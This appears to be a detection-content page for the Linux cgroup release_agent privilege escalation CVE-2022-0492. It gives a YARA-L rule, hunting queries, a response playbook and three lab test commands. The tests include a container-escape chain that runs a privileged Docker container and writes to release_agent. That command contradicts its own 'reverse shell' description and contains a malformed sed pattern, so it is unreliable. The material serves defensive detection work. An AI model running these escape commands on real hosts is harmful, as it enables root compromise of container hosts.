CVE-2022-0492 Google Chronicle · YARA-L

Detect Linux Kernel cgroup v1 release_agent Privilege Escalation (CVE-2022-0492) in Google Chronicle

CVE-2022-0492 is a Linux kernel vulnerability (CWE-287/CWE-862) in the cgroup v1 release_agent mechanism. A local unprivileged user can exploit improper capability checks to write to /sys/fs/cgroup/*/release_agent and execute arbitrary commands as root, enabling container escape and full host compromise. This vulnerability is listed on CISA KEV, indicating active exploitation in the wild.

MITRE ATT&CK

Tactic
Privilege Escalation Defense Evasion Execution

YARA-L Detection Query

Google Chronicle (YARA-L)
yaral 
rule cve_2022_0492_cgroup_release_agent {
  meta:
    author = "df00tech"
    description = "Detects CVE-2022-0492 cgroup v1 release_agent exploitation"
    severity = "CRITICAL"
    priority = "HIGH"
    cve = "CVE-2022-0492"
    mitre_attack = "T1611"

  events:
    (
      $e1.metadata.event_type = "PROCESS_LAUNCH" and
      (
        $e1.principal.process.file.full_path = /unshare|nsenter/ and
        $e1.principal.process.command_line = /cgroup/
      ) or
      (
        $e1.principal.process.command_line = /release_agent|notify_on_release/
      )
    ) or
    (
      $e1.metadata.event_type = "FILE_MODIFICATION" and
      $e1.target.file.full_path = /\/sys\/fs\/cgroup\/.+\/release_agent/
    )

  condition:
    $e1
}
critical severity high confidence

Chronicle YARA-L rule detecting CVE-2022-0492 exploitation through cgroup release_agent file modifications and process command-line patterns involving namespace manipulation and cgroup path references.

Data Sources

Chronicle Linux telemetryChronicle EDRGoogle Cloud IDS

Required Tables

UDM Events

False Positives & Tuning

  • Approved container runtimes performing cgroup lifecycle management during container teardown
  • Infrastructure automation tools that manage cgroup hierarchies for resource limits
  • Authorized red team or penetration testing activities with documented scope
  • Kernel version upgrades or patching operations involving cgroup subsystem changes

Other platforms for CVE-2022-0492

Microsoft Sentinel (KQL) Splunk (SPL) Elastic Security (Elastic) IBM QRadar (QRadar) Sumo Logic CSE (Sumo) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Write payload to cgroup release_agent (non-privileged namespace simulation)

    Expected signal: Process event for unshare with -UrmC flags; file write event to path matching /sys/fs/cgroup/*/release_agent or the tmp mount path; child bash process inheriting modified cgroup namespace

  2. Test 2Enumerate cgroup v1 hierarchy for exploitable release_agent

    Expected signal: Process event for sh/bash with find commands targeting /sys/fs/cgroup paths; multiple file read events against notify_on_release and release_agent pseudo-files

  3. Test 3Container escape simulation via cgroup release_agent (lab environment)

    Expected signal: Docker daemon log showing privileged container creation; host-level process events for cgroup mount, release_agent write; if successful: unexpected process spawned outside container namespace with UID 0; file creation event for escape_proof.txt on host

Last updated: 2026-06-19 Research depth: standard
References (3)

Response Playbook

Triage

  1. Identify the process that wrote to /sys/fs/cgroup/*/release_agent — capture full path, PID, parent PID, user context, and container namespace (verify via /proc/<pid>/cgroup and /proc/<pid>/ns/cgroup)
  2. Determine if the host is a container host (Docker, Kubernetes node, LXC) or bare metal — container escape is the primary risk vector; check if the initiating process is inside a container namespace by comparing cgroup namespaces with PID 1
  3. Check if notify_on_release is set to 1 in the affected cgroup hierarchy: cat /sys/fs/cgroup/<subsystem>/notify_on_release — if enabled and release_agent was written, the exploit chain may already be armed
  4. Correlate the initiating user account against privileged account inventory — determine if exploit was executed as an unprivileged user attempting privilege escalation or as an already-privileged user (lower risk)

Containment

  1. If exploitation is confirmed on a container host, immediately isolate the affected worker node from the cluster (kubectl cordon + drain for Kubernetes, pause container workloads) to prevent lateral movement from any escaped container
  2. Terminate the suspicious process and its children, then remount cgroup v1 hierarchy with nosuid,nodev options or disable notify_on_release at the subsystem level: echo 0 > /sys/fs/cgroup/<subsystem>/notify_on_release

Evidence Collection

  1. Capture /proc/<pid>/maps, /proc/<pid>/environ, /proc/<pid>/cmdline, /proc/<pid>/cgroup, and /proc/<pid>/ns/* for the initiating process before termination; preserve full process tree with timestamps
  2. Image the cgroup filesystem state: find /sys/fs/cgroup -name release_agent -exec cat {} \; and record all notify_on_release values; collect kernel audit logs (ausearch -k cgroup or journalctl -k) for the exploitation window

Escalation Criteria

  • !Escalate immediately if evidence of successful container escape is found (processes from container namespace appearing in host PID namespace, unexpected root-owned processes spawned from container init)
  • !Escalate if the affected system is a Kubernetes node, CI/CD runner, or shared container host — blast radius includes all co-located workloads and potentially cluster-wide compromise via service account tokens accessible post-escape

Investigation Guide

Related Techniques

[object Object][object Object][object Object]

Forensic Artifacts

  • >/sys/fs/cgroup/*/release_agent file contents and modification timestamps
  • >Kernel audit log entries for write syscalls against cgroup pseudo-files (auditd rules: -w /sys/fs/cgroup -p wa)
  • >/proc/*/cgroup entries for all processes active during the incident window
  • >Container runtime logs (dockerd, containerd, crio) showing container lifecycle events concurrent with the exploit attempt

Tuning Guidance

Start by baselining which processes legitimately touch /sys/fs/cgroup/*/release_agent on your environment — primarily container runtimes (runc, containerd-shim) during container teardown. Create allowlist exclusions keyed on process path + parent process path pairs (e.g. runc invoked by containerd). On Kubernetes nodes, kubelet and the CRI runtime will generate significant noise; scope exclusions to known runtime binary paths. The sequence-based detections (EQL, Chronicle) have lower false-positive rates than single-event rules and are recommended for production alerting. For environments that have fully migrated to cgroup v2 and disabled cgroup v1, all release_agent alerts can be treated as high-confidence anomalies requiring immediate investigation.

Hunting Queries

7-day retroactive hunt for any process interactions with cgroup release_agent paths to identify prior exploitation attempts or establish baseline legitimate usage

Hunting — KQL
kql 
DeviceProcessEvents
| where Timestamp > ago(7d)
| where ProcessCommandLine has "/sys/fs/cgroup" or ProcessCommandLine has "release_agent"
| summarize count() by DeviceName, AccountName, ProcessCommandLine, bin(Timestamp, 1h)
| where count_ > 0
| order by Timestamp desc
Hunting — SPL
spl 
index=linux_security earliest=-7d
sourcetype IN ("auditd","sysmon_linux")
("release_agent" OR "/sys/fs/cgroup")
| stats count by host, user, cmdline, _time
| sort -_time

Atomic Red Team Tests

Test 1 Write payload to cgroup release_agent (non-privileged namespace simulation)
linux

Simulates the CVE-2022-0492 exploitation pattern by creating a new cgroup namespace with unshare and attempting to write a command to release_agent, replicating attacker tradecraft without actually escaping a container.

Command

bash 
unshare -UrmC --propagation private bash -c 'mkdir -p /tmp/cve_2022_0492_test && mount -t cgroup -o memory cgroup /tmp/cve_2022_0492_test && echo 1 > /tmp/cve_2022_0492_test/notify_on_release && echo /tmp/payload.sh > /tmp/cve_2022_0492_test/release_agent && echo "Wrote to release_agent" && cat /tmp/cve_2022_0492_test/release_agent'

Cleanup

bash 
umount /tmp/cve_2022_0492_test 2>/dev/null; rm -rf /tmp/cve_2022_0492_test /tmp/payload.sh

Expected Telemetry

Process event for unshare with -UrmC flags; file write event to path matching /sys/fs/cgroup/*/release_agent or the tmp mount path; child bash process inheriting modified cgroup namespace

Expected Detection

kql: DeviceProcessEvents where ProcessCommandLine has 'release_agent'; spl: auditd WRITE events on release_agent path; crowdstrike: WriteFile event on release_agent matching CQL rule

Test 2 Enumerate cgroup v1 hierarchy for exploitable release_agent
linux

Reconnaissance phase — attacker enumerates available cgroup v1 subsystems and checks notify_on_release status to identify exploitable cgroup hierarchies before attempting exploitation.

Command

bash 
find /sys/fs/cgroup -name notify_on_release -exec sh -c 'echo "$1: $(cat $1)"' _ {} \; 2>/dev/null; find /sys/fs/cgroup -name release_agent 2>/dev/null | while read f; do echo "$f: $(cat $f 2>/dev/null)"; done

Cleanup

bash 
No cleanup required — read-only reconnaissance

Expected Telemetry

Process event for sh/bash with find commands targeting /sys/fs/cgroup paths; multiple file read events against notify_on_release and release_agent pseudo-files

Expected Detection

ProcessCommandLine matching '*release_agent*' or '*/sys/fs/cgroup*' in SIEM; auditd READ events on cgroup pseudo-files if audit rules are configured for cgroup reads

Test 3 Container escape simulation via cgroup release_agent (lab environment)
linux

Full CVE-2022-0492 exploitation simulation inside a lab Docker container — mounts host cgroup inside container, sets notify_on_release, writes reverse shell command to release_agent, then triggers it by creating and removing a temporary cgroup. FOR LAB USE ONLY.

Command

bash 
docker run --rm -it --privileged ubuntu:22.04 bash -c 'mkdir -p /tmp/exploit && mount -t cgroup -o memory cgroup /tmp/exploit && mkdir /tmp/exploit/child && echo 1 > /tmp/exploit/child/notify_on_release && HOST_PATH=$(sed -n "s/.*\perdir=\([^,]*\).*/\1/p" /etc/mtab | head -1) && echo "$HOST_PATH/tmp/escape_proof.txt" > /tmp/exploit/release_agent && echo "#!/bin/bash" > /tmp/escape_root.sh && echo "echo CVE-2022-0492-ESCAPED > /tmp/escape_proof.txt" >> /tmp/escape_root.sh && chmod +x /tmp/escape_root.sh && sh -c "echo \$\$ > /tmp/exploit/child/cgroup.procs" && sleep 2 && cat /tmp/escape_proof.txt 2>/dev/null || echo "Escape attempt completed - check host /tmp/escape_proof.txt"'

Cleanup

bash 
rm -f /tmp/escape_proof.txt /tmp/escape_root.sh; docker rm -f $(docker ps -aq --filter ancestor=ubuntu:22.04) 2>/dev/null

Expected Telemetry

Docker daemon log showing privileged container creation; host-level process events for cgroup mount, release_agent write; if successful: unexpected process spawned outside container namespace with UID 0; file creation event for escape_proof.txt on host

Expected Detection

EQL sequence rule detecting unshare/mount + release_agent write + privileged process spawn; CrowdStrike WriteFile event on release_agent followed by anomalous root process; Chronicle YARA-L rule matching FILE_MODIFICATION on release_agent path

Related Detections

Tactic Hubs

TA0004Privilege EscalationTA0005Defense EvasionTA0002Execution

Related Techniques

T1611Escape to HostT1548.001Setuid and SetgidT1059.004Unix Shell

Same Tactic: Privilege Escalation

Popular Detections